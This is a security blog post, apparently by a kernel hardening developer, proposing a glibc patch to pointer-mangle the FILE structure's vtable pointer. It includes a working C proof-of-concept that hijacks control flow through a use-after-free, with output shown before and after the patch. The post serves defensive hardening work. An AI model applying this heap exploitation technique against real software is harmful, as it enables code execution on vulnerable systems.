When attacking a process, one interesting target on the heap is the FILE
structure used with “stream functions” (fopen()
, fread()
, fclose()
, etc) in glibc. Most of the FILE
structure (struct _IO_FILE
internally) is pointers to the various memory buffers used for the stream, flags, etc. What’s interesting is that this isn’t actually the entire structure. When a new FILE
structure is allocated and its pointer returned from fopen()
, glibc has actually allocated an internal structure called struct _IO_FILE_plus
, which contains struct _IO_FILE
and a pointer to struct _IO_jump_t
, which in turn contains a list of pointers for all the functions attached to the FILE
. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the FILE
. So on the heap, we have:
In the face of use-after-free, heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()
/longjmp()
, atexit()
, etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE
/PTR_DEMANGLE
to protect these latter functions, but until now hasn’t protected the FILE structure in the same way.
I’m hoping to change this, and have introduced a patch to use PTR_MANGLE
on the vtable pointer. Hopefully I haven’t overlooked something, since I’d really like to see this get in. FILE
structure usage is a fair bit more common than setjmp()
and atexit()
usage. :)
Here’s a quick exploit demonstration in a trivial use-after-free scenario:
#include <stdio.h> #include <stdlib.h> void pwn(void) { printf("Dave, my mind is going.\n"); fflush(stdout); } void * funcs[] = { NULL, // "extra word" NULL, // DUMMY exit, // finish NULL, // overflow NULL, // underflow NULL, // uflow NULL, // pbackfail NULL, // xsputn NULL, // xsgetn NULL, // seekoff NULL, // seekpos NULL, // setbuf NULL, // sync NULL, // doallocate NULL, // read NULL, // write NULL, // seek pwn, // close NULL, // stat NULL, // showmanyc NULL, // imbue }; int main(int argc, char * argv[]) { FILE *fp; unsigned char *str; printf("sizeof(FILE): 0x%x\n", sizeof(FILE)); /* Allocate and free enough for a FILE plus a pointer. */ str = malloc(sizeof(FILE) + sizeof(void *)); printf("freeing %p\n", str); free(str); /* Open a file, observe it ended up at previous location. */ if (!(fp = fopen("/dev/null", "r"))) { perror("fopen"); return 1; } printf("FILE got %p\n", fp); printf("_IO_jump_t @ %p is 0x%08lx\n", str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE))); /* Overwrite vtable pointer. */ *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs; printf("_IO_jump_t @ %p now 0x%08lx\n", str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE))); /* Trigger call to pwn(). */ fclose(fp); return 0; }
Before the patch:
$ ./mini sizeof(FILE): 0x94 freeing 0x9846008 FILE got 0x9846008 _IO_jump_t @ 0x984609c is 0xf7796aa0 _IO_jump_t @ 0x984609c now 0x0804a060 Dave, my mind is going.
After the patch:
$ ./mini sizeof(FILE): 0x94 freeing 0x9846008 FILE got 0x9846008 _IO_jump_t @ 0x984609c is 0x3a4125f8 _IO_jump_t @ 0x984609c now 0x0804a060 Segmentation fault
Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I’d like to see this fixed too, but it’ll require more time to study. :)
Update: This specific patch was never taken upstream, but five years later, some vtable validation was added: Bugzilla, Commit.
© 2011 – 2022, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 License.